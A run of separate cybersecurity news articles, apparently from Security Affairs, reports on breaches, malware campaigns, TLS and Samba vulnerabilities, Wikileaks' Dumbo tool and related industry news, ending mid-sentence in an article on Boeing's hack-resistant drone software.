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Jan Koum, the co-founder of WhatsApp, reportedly plans to leave the company in the wake of increasing concerns about Facebook’s privacy policy., “It is time for me to move on . . . I’m taking some time off to do things I enjoy outside of technology, such as collecting rare air-cooled Porsches, working on my cars and playing ultimate frisbee,” WhatsApp  co-founder, CEO and Facebook board member Jan Koum wrote in a Facebook post. , , Koum, who sold WhatsApp to Facebook for more than $19 billion in 2014, plans to leave the Facebook’s board of directors too., Koum did not provide further details on his decision or a timeline for his departures., , According to The Washington Post, this is one of the effects of the Cambridge Analytica case, clearly, Koum disagrees the way Facebook managed users’ data., “The billionaire chief executive of WhatsApp, Jan Koum, is planning to leave the company after clashing with its parent, Facebook, over the popular messaging service’s strategy and Facebook’s attempts to use its personal data and weaken its encryption, according to people familiar with internal discussions.” reported the  The Washington Post., “The independence and protection of its users’ data is a core tenet of WhatsApp that Koum and his co-founder, Brian Acton, promised to preserve when they sold their tiny start-up to Facebook. It doubled down on its pledge by adding encryption in 2016. The clash over data took on additional significance in the wake of revelations in March that Facebook had allowed third parties to mishandle its users’ personal information.”, Facebook CEO Mark Zuckerberg replied to Koum’s decision by crediting him with teaching him “about encryption and its ability to take power from centralized systems and put it back in people’s hands. Those values will always be at the heart of WhatsApp.”, According to The Washington Post Koum disappointed also the Facebook executives approach to the end-to-end encryption introduced since 2016 and the possibility to weaken it to facilitate law enforcement agencies’ investigations and business use of the instant messaging app, the WhatsApp For Business program., According to The Washington Post, other WhatsApp employees are not happy of the situation at the company and plan to leave in November, four years and a month after the Facebook acquisition, when they are allowed to exercise all their stock options under the terms of the Facebook deal., Pierluigi Paganini, (Security Affairs – Jan Koum, WhatsApp), ,

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The security researchers Hanno Böck and Juraj Somorovsky of Ruhr-Universität Bochum/Hackmanit, and Craig Young of Tripwire VERT, have discovered a 19-year-old vulnerability in the TLS network security protocol in the software several tech giants and open-source projects., The flaw in RSA PKCS #1 v1.5 encryption affects the servers of 27 of the top 100 web domains, including Facebook and PayPal, it could be exploited by an attacker to decrypt encrypted communications., The researchers dubbed the flaw ROBOT, which stands for Return Of Bleichenbacher’s Oracle Threat., “ROBOT is the return of a 19-year-old vulnerability that allows performing RSA decryption and signing operations with the private key of a TLS server.” the researchers explained., “In 1998, Daniel Bleichenbacher discovered that the error messages given by SSL servers for errors in the PKCS #1 1.5 padding allowed an adaptive-chosen ciphertext attack; this attack fully breaks the confidentiality of TLS when used with RSA encryption., We discovered that by using some slight variations this vulnerability can still be used against many HTTPS hosts in today’s Internet.”, Today we are still discussing the ROBOT attack because the mitigations drawn up at the time were not enough and many software vendors did not properly implement these protections., “The real underlying problem here is that the protocol designers decided (in 1999) to make workarounds for using an insecure technology rather than replace it with a secure one as recommended by Bleichenbacher in 1998.” said Young. , , This ROBOT attack could allow attackers to decrypt RSA ciphertexts without recovering the server’s private key as explained in a security advisory published by CISCO., “An attacker could iteratively query a server running a vulnerable TLS stack implementation to perform cryptanalytic operations that may allow decryption of previously captured TLS sessions.” states the advisory published by Cisco., “To exploit this vulnerability, an attacker must be able to perform both of the following actions: , Fortunately, the vulnerability affects only 2.8% of the top million websites, this small value is due to the fact that the affected library is mainly used for expensive commercial products that are often used to enforce security controls on popular websites., Similar issues exist in XML Encryption, PKCS#11 interfaces, Javascript Object Signing and Encryption (JOSE), and Cryptographic Message Syntax / S/MIME., As a proof-of-concept for the ROBOT attack, the experts have demonstrated practical exploitation by signing a message with the private key of facebook.com’s HTTPS certificate., Facebook was using a patched version of OpenSSL for its vulnerable servers, according to the tech giant the issue was caused by custom patches applied by the company., Facebook has patched its servers before the disclosure of the paper on the ROBOT attack., Several vendors have fixes pending, the following list includes patches that are already available., According to Young, the most interesting attack scenarios see hackers having access to the target’s network traffic, a position that could be obtained by an attacker exploiting the KRACK attack to target a Wi-Fi connection., The impact of ROBOT attacks is severe, an attacker can steal sensitive and confidential data, including passwords, credit card data, and other sensitive details., The experts released a python tool to scan for vulnerable hosts so everyone can check his HTTPS server against ROBOT attack., Researchers also included countermeasures in their paper, they recommend to deprecate the RSA encryption key exchange in TLS and the PKCS #1 v1.5 standard., “We can therefore conclude that there is insufficient testing of modern TLS implementations for old vulnerabilities. The countermeasures in the TLS standard to Bleichenbacher’s attack are incredibly complicated and grew more complex over time. It should be clear that this was not a viable strategy to avoid these vulnerabilities. The designers of TLS 1.3 have already decided to deprecate the RSA encryption key exchange. However, as long as compatibility with RSA encryption cipher suites is kept on older TLS versions these attacks remain a problem.” concludes the research paper., “To make sure Bleichenbacher attacks are finally resolved we recommend to fully deprecate RSA encryption based key exchanges in TLS. For HTTPS we believe this can be done today”, Pierluigi Paganini, (Security Affairs – ROBOT attack, hacking)

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Malware researchers at security firm Fortinet have spotted a new strain of ransomware dubbed MacRansom that targets Mac machines., The malware is available with Ransomware-as-a-service (RaaS) model through a hidden service in the TOR network. Experts believe this is the first time a Mac ransomware is offered as RaaS., “Just recently, we here at FortiGuard Labs discovered a Ransomware-as-a-service (RaaS) that uses a web portal hosted in a TOR network which has become a trend nowadays. However, in this case it was rather interesting to see cybercriminals attack an operating system other than Windows. And this could be the first time to see RaaS that targets Mac OS.” states the analysis published by Fortinet., Despite the threat is not sophisticated like other similar threats it could cause serious problems to the victims because it encrypts victim’s files. The availability of  MacRansom as RaaS makes it easy to arranges ransomware campaign to crooks that have no specific skills., MacRansom variant is not readily available through the Tor portal, would-be crooks can contact the author of the ransomware in order to receive their version of the threat., “This MacRansom variant is not readily available through the portal. It is necessary to contact the author directly to build the ransomware. At first, we thought of it as a scam since there was no sample but to verify this we dropped the author an email and unexpectedly received a response.” continues the analysis., , MacRansom implements symmetric encryption with a hard-coded key and the ransomware only encrypts a maximum of 128 files, it demands 0.25 bitcoin (around $700) for decryption keys., Researchers found two sets of symmetric keys used by the ransomware:, The ReadmeKey is used to decrypt ._README_ file that contains the ransom notes and instructions, while the TargetFileKey is used to encrypt and decrypt the victim’s files., The malicious code implements anti-analysis activity, the first thing the ransomware does is to check if the sample is being run in a non-Mac environment or if it is running in debugged environment., The author gives 30 per cent to the Bitcoin address of the customer once the victim has paid the ransom., Customers just have to spread the threat, for example delivering it via spam emails on through drive-by download attacks., The author discourages drive-by download attacks or other approaches that involve uploading customized versions of MacRansom., “It is not every day that we see new ransomware specifically targeting Mac OS platform. Even if it is far inferior from most current ransomware targeting Windows, it doesn’t fail to encrypt victim’s files or prevent access to important files, thereby causing real damage.” concluded Fortinet., “Last but not the least, this MacRansom variant is potentially being brewed by copycats as we saw quite a lot of similar code and ideas taken from previous OSX ransomware. Even though it utilizes anti-analysis tricks, which differs from previous OSX ransomware, these are well-known techniques widely deployed by many malware authors. MacRansom is yet another example of the prevalence of the ransomware threat, regardless of the OS platform being run.”, Pierluigi Paganini, (Security Affairs – MacRansom, malware)

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The Australia’s foreign intelligence agency, the Australian Signals Directorate (ASD), admitted a hacker has stolen over 30 GB of military documents. Stolen data includes details on fighter jets, military aircraft, and naval ships., The hacker stole the huge trove of confidential data on military capabilities at an unnamed Department of Defence contractor. The ASD spokesperson Mitchell Clarke, who revealed the incident, confirmed that not “top secret” data was compromised, but data breach included sensitive information not publicly accessible., The intelligence agency dubbed the hacker “Alf,” after a character in the “Home and Away” Australian TV soap opera., , The stolen files include confidential information, diagrams, and plans and details about the country’s arsenal, such as details on the new F-35 Joint Strike Fighter jet, the Boeing P-8 Poseidon submarine-hunting airplane, Lockheed-Marting C-130 transport aircrafts, JDAM guided bombs, and data on “some naval ships.”, “That ITAR data included information on the the F-35 Joint Strike Fighters, the C-130, the P-8 Poseidon, the JDAM –that’s a smart bomb – and a few Australian naval vessels,” Mr Clarke said., , According to The Sydney Morning Herald, some of the stolen data was linked to the International Traffic in Arms Regulations, a US regulatory regime., “A CYBER attack was successfully carried out by hackers who gained access to the computer system of a national security contractor last year.” reported the website news.com.au., “The Federal Government is set to reveal details about the hack today when Assistant Minister for Cyber Security Dan Tehan launches the Australian Cyber Security Centre’s (ACSC) annual threat report.”, The data breach is dated back July 2016, but the ASD discovered it in November 2016, when a “partner organization” notified the Agency., According to the ASD, the root cause of the incident was the use of weak passwords for the authentication at some of the target systems used by the defense contractor., The defense contractor has roughly 50 employees and only one of them was tacked to secure its network., ASD experts who conducted the forensic investigation on the breached servers found evidence of the China Chopper web shell, it is likely associated with the intrusion., At the time is still unclear the threat actors’ motivation., “It could have been a state actor, it could have been cyber criminals, and that’s why it was taken so seriously,” Mr Tehan said., “We’re not 100 per cent sure, and that’s one of the difficulties of this area.”, Pierluigi Paganini, (Security Affairs – ASD, data breach)

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Law enforcement in Taiwan investigating the attacks against ATMs of a major nations bank, the Taiwan’s First Bank. Crooks used a malware to withdraw more than $2 million from dozens of ATMs in the country, it is the first time that cyber criminals used this technique in Taiwan., Taiwanese authorities suspect the involvement of two Russian nationals that were wearing masks while cashed out dozens of ATMs in the last weekend. The two suspects have already left the country on Monday, the hackers stole T$70m ($2.2m), they operated while the capital Taipei battered by a typhoon., According to the video footage recorded by the security cameras, the hackers haven’t used skimmers to steal payment card data, they likely used a malware to control the ATM., The images show the crooks using a “connected device,” likely a smartphone, to instruct the ATM i release the cash., Taiwanese First Bank automated teller machines are seen suspended after T$70 million was reported stolen from its automated teller machines (ATM) in Taipei, Taiwan July 13, 2016. REUTERS/Tyrone Siu, The targeted ATMs are produced by the Wincor Nixdorf, the company admitted that some of its ATM in Taiwan were hacked as part of a “premeditated attack.”, “Attacks follow a similar pattern, irrespective of their make or brand, and we as well as the banks are aware of them,” a Wincor official in Germany told Reuters by email. “The details of the attack are being examined by the police, banks as well as experts from Wincor Nixdorf. To support the local teams we have sent security experts.” is the Wincor statement reported by the Reuters Agency., Investigators have discovered three different strains of malware on the hacked ATMs, of course, the banks in the country are starting to improve the cyber security of their machines in order to prevent similar attacks., Malware-based attacks against ATM are not a novelty, in an article published on the Infosec Institute, I detailed the recent attacks against ATMs worldwide., In the article are reported attacks based on various ATM malware, including Suceful, GreenDispenser, and Skimer., All these malware implement the ATM jackpotting technique presented by Barnaby Jack at Black Hat USA 2010., , In November 2014, a gang of Romanian and Moldovan criminals stole nearly £1.6m in raids on ATM (Automated Teller Machines) in the UK. The group used a malware to compromise more than 50 ATMs., In the same period, experts from Kaspersky Lab observed several attacks on Automated Teller Machines (ATMs) which were infected by malware dubbed Tyupkin. Tyupkin is one of the most popular malicious codes used by criminals to hack ATMs and force them to release cash on demand. Experts at Kaspersky Lab collected evidence that Tyupkin infected at least 50 ATMs, mainly in Eastern Europe., In May 2013, security experts spotted another ATM Trojan dubbed Padpin; meanwhile in October 2013, malware researchers isolated samples of another malware dubbed Ploutus that was circulated to compromise banking machines and steal cash from them., Stay tuned …, Pierluigi Paganini, (Security Affairs – hacking ATMs, malware)

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According to Kaspersky, the North Korea-linked Lazarus group used a macOS malware to target a cryptocurrency exchange in a recent attack., The activity of the Lazarus Group surged in 2014 and 2015, its members used mostly custom-tailored malware in their attacks and experts that investigated on the crew consider it highly sophisticated., This threat actor has been active since at least 2009, possibly as early as 2007, and it was involved in both cyber espionage campaigns and sabotage activities aimed to destroy data and disrupt systems.  Security researchers discovered that North Korean Lazarus APT group was behind recent attacks on banks, including the Bangladesh cyber heist., According to security experts, the group was behind, other large-scale cyber espionage campaigns against targets worldwide, including the Troy Operation, the DarkSeoul Operation, and the Sony Picture hack., Recently the APT targeted cryptocurrency exchanges and cryptocurrency companies, experts from Kaspersky Lab tracked a new campaign dubbed Operation AppleJeus aimed at spreading a tainted cryptocurrency trading application., “While investigating a cryptocurrency exchange attacked by Lazarus, we made an unexpected discovery. The victim had been infected with the help of a trojanized cryptocurrency trading application, which had been recommended to the company over email.” states the report published by Kaspersky., “It turned out that an unsuspecting employee of the company had willingly downloaded a third-party application from a legitimate looking website and their computer had been infected with malware known as Fallchill, an old tool that Lazarus has recently switched back to.”, , The novelty of this attack is that the attacker for the first time used a version of the Fallchill malware specifically developed to target macOS systems, in addition to Windows., The new development is very important for the strategy of the group that is expanding the list of potential targets., “The fact that the Lazarus group has expanded its list of targeted operating systems should be a wake-up call for users of non-Windows platforms,” continues Kaspersky., The malware was inserted into the installation package, instead, it was delivered to the target machine in the form of an update., The experts discovered that the APT used the legitimate-looking application called Celas Trade Pro and comes from Celas Limited., At the end of the installation process, the software runs the Updater.exe module that gathers system information and sends it back to the server in the form of a GIF image., The malware continuously connects the command and control (C&C) server to fetch and execute an additional executable file., Based on the server’s response (response HTTP code 200), the updater could extract a malicious code encoded with base64 and decrypts it using RC4 with another hardcoded key to retrieve an executable file., For macOS users, Celas LLC also provided a native version of its trading app, experts noticed that a hidden ‘autoupdater’ module is installed in the background to start immediately after installation and also after every system reboot., At the time of the report, it was not clear whether Lazarus compromised Celas server in a classic supply chain attack or managed to create “a legitimate looking business and inject a malicious payload into a ‘legitimate looking’ software update mechanism.”, Once the Cellas Trade Pro app is installed on macOS, it launches the Updater application on the system load via a file named “.com.celastradepro.plist.”, The fact that it starts with a dot symbol makes the Updates unlisted in the Finder app or default Terminal directory listing., The “Updater” file is passed the “CheckUpdate” parameter on start, it quits if no argument is passed., The updater is implemented using the cross-platform Qt framework, once executed it creates a unique identifier for the infected host, collects system information, and send them to the attacker’s server in encrypted format., “First of all, Lazarus group has entered a new platform: macOS. There is steadily growing interest in macOS from ordinary users, especially in IT companies. Many developers and engineers are switching to using macOS. Apparently, in the chase after advanced users, software developers from supply chains and some high profile targets, threat actors are forced to have macOS malware tools.” concludes Kaspersky., “We believe that in the future Lazarus is going to support all platforms that software developers are using as a base platform, because compromising developers opens many doors at once.”, Pierluigi Paganini, (Security Affairs – APT, hacking)

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Wikileaks published a new batch of files belonging to the CIA Vault 7 archive, the documents detail a tool code named ‘Dumbo‘ that was developed by the intelligence agency to disables security cameras and corrupts recordings., It identifies installed devices like webcams and microphones, either locally or connected by wireless (Bluetooth, WiFi) or wired networks., CIA agents have to execute “Dumbo” directly from a USB thumb drive in the targeted device, it requires SYSTEM privileges to perform its activity., The tool supports 32bit Windows XP, Windows Vista, and newer versions of Windows operating system. 64bit Windows XP or Windows versions prior to XP are not supported., The tool is able to mute microphones, disable network adapters, and suspend processes utilizing webcams and corrupt any video recordings., “Dumbo is a capability to suspend processes utilizing webcams and corrupt any video recordings that could compromise a PAG deployment. The PAG (Physical Access Group) is a special branch within the CCI (Center for Cyber Intelligence); its task is to gain and exploit physical access to target computers in CIA field operations.” states the description of the tool provided by Wikileaks., Dumbo also reports operators where footage files are stored allowing their corruption or deletion., “The tool identifies installed devices like webcams and microphones, either locally or connected by wireless (Bluetooth, WiFi) or wired networks. All processes related to the detected devices (usually recording, monitoring or detection of video/audio/network streams) are also identified and can be stopped by the operator,” WikiLeaks said. “By deleting or manipulating recordings the operator is aided in creating fake or destroying actual evidence of the intrusion operation.”, According to the user guide, Personal Security Products such as the Kaspersky antivirus may block the installation of the device driver necessary to perform Dumbo operations., , Below the list of release published by Wikileaks since March:, Pierluigi Paganini, (Security Affairs –  Wikileaks, Dumbo)

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A team of researchers from Indiana University (Luyi Xing, Xialong Bai, XiaoFeng Wang, and Kai Chen lead by Tongxin Li, of Peking University, and Xiaojing Liao, of Georgia Institute of Technology) discovered a number of vulnerabilities in both Apple’s OS X and iOS, by exploiting one of them they succeeded in cracking of the Apple Keychain service., The vulnerabilities are mainly related to the weak authentication implementation that could allow an attacker to steal authentication tokens, iCloud passwords, and user password saved on Google Chrome. The researchers classified the weaknesses as unauthorized cross-app resource access (XARA) and documented them in a study titled “Unauthorized Cross-App Resource Access on MAC OS X and iOS.”, The researchers discovered security issues related to the access-control list (ACL) implementation and problems in inter-app interaction services like Keychain, WebSocket on OS X, and URL Scheme on OS X and iOS. In short words, an attacker can exploit the flaws to modify Keychain entries to allow apps to perform several operations., , “An app within the sandbox has only limited privileges. By default, it can only read and write files within its container and some public directories. This policy is enforced by checking the developer’s signature on the app against an access-control list (ACL) associated with each directory (see Section 3.2). Also, it is not allowed to access network sockets, built-in camera, microphone, printer and other resources. Whenever use of such resources becomes necessary, the app explicitly requires them by declaring a set of entitlements within its property file (called plist file, very much like the Android manifest file)” reads the paper., Due to the presence of the flaws, a sandboxed malicious app installed in the Apple system could gain access to sensitive data managed by other mobile apps. The researchers claim that the app can steal data from popular mobile apps like Facebook and Dropbox, the team also explained that they were able to steal information from the messaging app WeChat and even vaulted passwords from 1Password., “Looking into the root cause of those security flaws, we found that in the most cases, neither the OS nor the vulnerable app properly authenticates the party it interacts with,” the paper says. , The researchers designed a tool for automatically inspecting the source of the mobile apps and verify the presence of XARA flaws., “To understand the scope and magnitude of this new XARA threat, we developed an analyzer for automatically inspecting Apple apps’ binaries to determine their susceptibility to the XARA threat, that is, whether they perform security checks when using vulnerable resource-sharing mechanisms and IPC channels, a necessary step that has never been made clear by Apple. “, The researchers published a video PoC demo to demonstrate how to steal an iCloud token from the Keychain:PoC demo to demonstrate how to steal an iCloud token from the Keychain:, , The researchers highlighted the existence of another XARA weakness in the unique BID-based separation design in OS X that could be exploited for “container cracking.”, When apps’ container directories are disclosed, it makes it easy for other apps find them, and in turn, easy to hijack information from sandboxed apps like Evernote, Tumblr, and WeChat., “Once the attack app is launched, whenever the OS finds out that the container directory bearing the sub-target’s BID (as its name) already exists, the sub-target is automatically added onto the directory’s ACL. As a result, the malicious app gains the full access to other apps’ containers, which completely breaks its sandbox confinement.”, Apple was informed of the XARA issues in October  and is still working to fix the issue, the researchers claim the only the iCloud issue appears to have been resolved., Pierluigi Paganini, (Security Affairs – Apple, XARA vulnerabilities)

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The cyber criminal ecosystem is a very complex environment to monitor and analyze, many events occurred in the cyberspace seemingly unrelated, instead are connected by a thin line. This is the case of the recent attack against the Sony Pictures, the company was targeted by a group named itself GOP (Guardians of Peace) and according to The Washington Post the hackers used a set of data that came from the Lizard Squad hacking team, whose members are all based in European nations., The Lizard Squad is the group of hacker that several times hit popular gaming networks of Sony and Microsoft, in the Christmas day the hackers brought down the Play Station Network and the Xbox live service., In an interview with The Washington Post, a self-proclaimed Lizard Squad member revealed that the group had given stolen data to the Guardians of Peace. The man is the same that released another interview to the BBC last week and if its version is true, it is the first time that the two groups are linked in the cyber criminal scenario and the theory of the attack by North Korea falters., The man explained the Lizard Squad had contact with GoP, but despite the hacking team shared data used in the attack against Sony Pictures, the Lizard Squad members did not play a crucial role in the offensive against the Sony., Below an excerpt of the interview:, Some reports suggest you’ve got links to Guardians of Peace, and possibly to the Islamic State. Can you talk about that for a minute?, Well, we do know some people from the gop. We do not have any links to the IS., But you didn’t work with Guardians of Peace to breach Sony’s network and gain access to the e-mails, etc.? In other words, you know some people but weren’t involved in the Sony hack surrounding ‘The Interview’?, Well, we didn’t play a large part in that., What part did you play?, We handed over some Sony employee logins to them. For the initial hack., The Lizard Squad member confirmed that his team “handed over some Sony employee logins” that were used by GoP to target the Sony Pictures., , Is is possible that the GOP is linked to the North Korea?, The declarations of the Lizard Squad member seem to exonerate the North Korea, unless the hypothesis formulated by Reuters is true. The Reuters news agency reported that US investigators speculated that the Government of Pyongyang “contracted out” some of the work involved, a circumstance that could explain the involvement of the Lizard Squad., “U.S. investigators believe that North Korea likely hired hackers from outside the country to help with last month’s massive cyberattack against Sony Pictures, an official close to the investigation said on Monday., As North Korea lacks the capability to conduct some elements of the sophisticated campaign by itself, U.S. investigators are looking at the possibility that Pyongyang “contracted out” some of the cyber work, according to the official, who was not authorized to speak on the record about the investigation.” states a blog post published by the Reuters., The Lizard Squad spokesperson did not provide details on how the group gathered the login information for Sony employees, it is likely the team has found the data during a reconnaissance for an attack on the PlayStation gaming network., I suggest you the reading of the interview because it includes many other interesting details on the operations of the Lizard Squad., Pierluigi Paganini, (Security Affairs –  Lizard Squad, GoP)

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Kaspersky Lab in September 2013 announced to have discovered Icefog team, an emerging group of cyber-mercenaries available for hire to perform surgical hit and run operations against strategic targets.  The cyber mercenaries are recruited by governments and private companies and according Kaspersky experts the group is composed by high skilled hackers able to conduct sophisticated attacks., “What we have here is the emergence of small groups of cyber-mercenaries available to perform targeted attacks,”  “We actually believe they have contracts, and they are interested in fulfilling whatever the contract requirements are,” declared Kaspersky’s research director, Costin Raiu, in an interview with Reuters., The Icefog team is a persistent collector of sensitive information, Kaspersky team detected a series of APT attacks against the defense supply chain (e.g. Military contractors, ship builders, satellite operators, high-tech companies ) Japan and South Korea., The Icefog team attacked victims with an own backdoor set, dubbed “Fucobha”, which included exploits for both Microsoft Windows and Mac OS X., The “hit and run” nature of the Icefog operations appeared unusual, different from almost APT campaigns in which victims remain infected for a long period, the attackers are processing victims rapidly, stealing only information of interest and showing a deep knowledge of the victims and the information they search for., Icefog Team went dark after just after the revelation on Kaspersky investigation in September, the experts at Kaspersky Lab continued their analysis digging into domains used in the attack that had been sinkholed by the security company to discover the extension of the infection and localize the victims of the attack through the connection that malicious agents do versus the Command and Control servers., New revelations appear very interesting, the attackers also used a Java version of the campaign to target three oil and gas companies in the United States. It’s not a surprise that the energy sector is under constant cyber attacks, in the last months numerous alerts were issued by US authorities, including the DHS. The excellent work of the Kaspersky Lab team has confirmed it, the three companies involved were already notified, and to have adopted the necessary measured to sanitize their systems., The schema of attack appears consolidated, victims within these companies were likely duped by a spear phishing email that contained an Office exploit., , Once lured the victims, the Icefog group launched the Java backdoor, dubbed Javafog, a malicious code that also referred a new command and control for backdoor communication., “In one particular case, we observed the attack commencing by exploiting a Microsoft Office vulnerability, followed by the attackers attempting to deploy and run Javafog, with a different C&C. We can assume that based on their experience, the attackers found the Java backdoor to be more stealthy and harder to notice, making it more attractive for long term operations. (Most Icefog operations being very short – the “hit and run” type).” reported Kaspersky in a blog post on SecureList., According experts at Kaspersky the Javafog backdoor could indicate that the Icefog mercenaries were running a US-specific operation, according the analysis on the backdoor used the team was preparing a long-term cyber espionage campaign., “The focus on the US targets associated with the only known Javafog C&C could indicate a US-specific operation run by the Icefog attackers; one that was planned to take longer than usual, such as, for instance, long-term collection of intelligence on the target,” “This brings another dimension to the Icefog gang’s operations, which appear to be more diverse than initially thought.” reported the Kaspersky report., In October when Kaspersky Lab took over an Icefog domain called lingdona.com (which expired in September 2013) hosted in Hong Kong, it matched other known Icefog domains and first analysis revealed that it began receiving connections every 10 seconds from a Javafog, a new turn since other variants used IE User-Agent strings., , Security experts unable to find a malware sample connecting to above domain, they were able to find a URL submitted to a public JSUNPACK service that was hosted on “sejonngdotorg” and “starwars123dotnet”, two known Icefog domains that referenced a Java applet called policyapplet.jar. The researchers decoded a long hexadecimal string parameter tagged to policyapplet reference and found another Java applet with a main class JavaTool.class that was compiled in 2010., Once installed on victims the backdoor latches onto the computer’s registry for persistence at start-up and then begins connecting to C&C server lingdona.com/news sending system information., If the attackers consider the infected machine as a target of value, they can then send back any number of commands, ordering to the backdoor to upload local files (upload_*), migrate to a new command and control server URL (cmd_UpdateDomain), or execute a string specified and upload the results(cmd_*)., The US operation was small involving eight IPs belonging to the three U.S. oil and gas companies’ victims of the Icefog attacks and connected to the lingdona domain. The researchers noted as well that two of the victims updated Java from Java 1.7 update 25 to update 45., No doubts that we will read again in the next future on the Icefog team., Pierluigi Paganini, (Security Affairs –  Icefog, Energy sector, cyber security)

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The European Network and Information Security Agency (ENISA) published the ENISA Threat Landscape 2013 report, a document that was annually issued to analyze significant evolutions in the cyber-threat landscape., The ENISA has chosen a singular approach this year to produce the report, rather than conduct its own research as usual, it has compiled the document analyzing existing reports published during the year., More than 250 reports and sources have been considered to produce the ENISA Threat Landscape 2013 report, “Over 250 reports and sources have been analysed for this year’s report. From a threat landscape perspective, 2013 has brought good and bad developments.” states the document., The principal concerning trends highlighted in the study are:, All the cyber threats mentioned in the document are increasing, just botnets and spam are abiding., Fortunately also a positive trends emerged from the analysis, important improvements include law enforcement successes in the fight against cybercrime, the emergence of an improvement in cooperation between relevant organizations involved in the identification and mitigation of principal cyber-threats and the efficient response from vendors in patching vulnerabilities., Curious that the ENISA Threat Landscape 2013 report doesn’t make reference to Snowden‘s case that has in my opinion marked the scenario last year., “Issues related to industrial espionage and state sponsored surveillance became a major discussion topic during this reporting period. The ENISA Threat Report takes account of these issues to the extent that these activities are related to assessed cyber-threats. It should be noted however that, apart from providing guidelines on how to protect systems against the technical threats enumerated, any additional response to industrial espionage and state sponsored surveillance is not in ENISA’s mandate.” is the position expressed in the document., The 2013 was characterized by the strong action of Law enforcement against cybercrime, the successes of authorities include the seizure of the Silk Road black market website and the arrest of (allegedly) Dread Pirate Roberts and the arrest of Paunch, the author of the popular Blackhole exploit kit., Giving a look to the top cyber threats, drive-by-downloads remain the most insidious followed by Worms/Trojans and Code Injections., , The report confirms that web based attacks are predominant respect other cyber threats, cybercriminals use malicious URLs as the primary vector to serve malware meanwhile Java is the most exploited application., ” It has been observed that there is a shift from Botnets to URLs as means for malware distribution. Java remains the most exploited software, to infect a web site. In addition, attackers use code injection attacks to create malicious URLs.”, In 2013 the malware diffusion was very high, malicious codes were mainly derived from previous versions thanks to the use of toolkits for their customization. The underground market was very prolific during the last year, mobile platform suffered a concerning increment for number of malware families., “Available attack tools (see also exploit kits) allow for the creation of malware variants based on available malware code. This activity can be performed even from users with moderate capabilities. This phenomenon is called polymorphism of existing code and is a key trend in malware development.”, “Malware increasingly targets mobile platforms, with mobile trojans coming at the first position. This is due to the increasing use of mobile devices, the increased sophistication of attacks (see below) but also due to the weaker/immature security mechanisms implemented on these platforms.”  states ENISA Threat Landscape 2013 report., The ENISA Threat Landscape 2013 report concludes with a series of considerations to capitalize the knowledge acquired and proposing the activities and initiatives to conduce in the next year:, Adverse events are inevitable but it is essential to know the main threats to mitigate the risks of exposure., Pierluigi Paganini, (Security Affairs –  ENISA Threat Landscape 2013 report, security)

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Experts from security firm Wordfence uncovered a botnet composed of over 20,000 WordPress sites that is being used to compromise other websites running on the popular CMS and recruit them.  , “The threat actors (hackers) use a group of four command and control (C2) servers to send requests to over 14,000 proxy servers provided by a Russian proxy provider called best-proxies.ru.” reads the analysis published by WordFence., “They use these proxies to anonymize the C2 traffic. The requests pass through the proxy servers and are sent to over 20,000 infected WordPress sites. Those sites are running an attack script which attacks targeted WordPress sites.”, The botnet is used by attackers to carry out brute force attacks against other WordPress sites, according to Wordfence Defiant Threat Intelligence team, the botnet has already generated over 5 million authentication requests. The botnet attempts XML-RPC authentication to other WordPress sites in order to access privileged accounts., The XML-RPC interface allows users to remotely post content to a WordPress site using the WordPress or other APIs, it is located in the root directory of a WordPress install at the xmlrpc.php file., Unfortunately, the XML-RPC interface doesn’t implement a rate limiting on the number of API requests that it is possible to submit, a gift for brute-force attackers. , A close look at the malicious infrastructure allowed the experts to discover that hackers used four command and control servers that issue commands to the bots through proxy servers at the Russian Best-Proxies.ru service.  Experts identified over 14,000 proxy servers used by the botmaster to anonymize the traffic., Once a WordPress site is compromised it will start carrying out brute force attacks against the XML-RPC interface of other websites. , “We also noted that the User-Agent strings associated with these requests matched those used by applications commonly seen interacting with the XML-RPC interface, like wp-iphone and wp-android,” continues the analysis. , “Since these applications typically store credentials locally, it was unusual to see a significant amount of failed logins from them, which drew our attention. We identified over 20,000 WordPress slave sites that were attacking other WordPress sites.”, Brute force scripts used by the attackers accept POST input from the C2 servers, the request includes domains to target and word lists to use when performing the brute force attacks., It is also possible to use new wordlists by providing URL to the script., Wordfence reported its discovery to the authorities and is helping them to dismantle the WordPress botnet., Pierluigi Paganini, (Security Affairs –WordPress Botnet, hacking)

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The major Linux distributions (Red Hat, Ubuntu, Debian and others) rolled out security patches for a use-after-free error, tracked as CVE-2017-14746, affecting all versions of SAMBA since 4.0., Administrations have to apply the fixes to their distributions, another possibility consists in turning off SAMBA 1, and operation that could hide some difficulties., According to the project’s advisory, an attacker can use a malicious SMB1 request to control the contents of heap memory via a deallocated heap pointer., “All versions of Samba from 4.0.0 onwards are vulnerable to a use after free vulnerability, where a malicious SMB1 request can be used to control the contents of heap memory via a deallocated heap pointer. It is possible this may be used to compromise the server.” reads the advisory., The patch to fix the issue is available at the following URL:, The versions 4.7.3, 4.6.11 and 4.5.15 have been issued to address the vulnerability., The maintainers of the project have also issued patches for older versions at:, The advisory includes also a workaround, it consists in preventing SMB1 access to the server by setting the parameter:, server min protocol = SMB2, to the global section of your smb.conf and restart smbd., Unfortunately, the advisory warns of problems, older clients to be unable to connect to the server., Administrators running vulnerable versions are advised to apply the patch as soon as possible., , There is also another flaw, tracked as CVE-2017-15275, that affects all the versions from 3.6.0 onwards that has been fixed by Samba., According to the advisory, the server may return the contents of heap allocated memory to the client revealing “password hashes or other high-value data”., “There is no known vulnerability associated with this error, but uncleared heap memory may contain previously used data that may help an attacker compromise the server via other methods. Uncleared heap memory may potentially contain password hashes or other high-value data.” reads the advisory., Patched versions have been made available here., Pierluigi Paganini, (Security Affairs – networking, hacking)

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The drone industry is growing at a rapid pace. Aerospace research company Teal Group has estimated that sales of military and civilian drones will total over $89 billion in the next 10 years. The possible fields of application for UAVs are unlimited. In this scenario security and privacy related the use of drones are the principal concerns of the security community., Unmanned aircraft are complex systems that could be theoretically hacked becoming a weapon in the hand of attackers, manufacturers and Intelligence agencies are working on a new generation of drones that are resilient to cyber attacks., Two years ago the DARPA launched the HACMS (High-Assurance Cyber Military Systems) program with the main goal to develop a software without pervasive vulnerabilities, one of the most interesting applications was the creation of a platform for unmanned vehicles., , Boeing has announced its project for the production of an unhackable drone, dubbed Boeing Little Bird, which should be in flight around the end of 2017 according to the company and the Defense Department., Official sources refer that Boing has already developed a secure drone that could exchange control data and information with control centers in secure way., “The intent is to conduct an experiment to prove that these new coding techniques can create secure code at full scale,” said John Launchbury, program manager for the Defense Advanced Research Projects Agency (DARPA)., Boing is working with National ICT Australia, Rockwell Collins and computer science firm Galois on the hacking-prof software to use for its drones., Boeing officials confirmed that the company’s “goal is to enhance all Boeing developed Unmanned Little Bird aircraft software using the 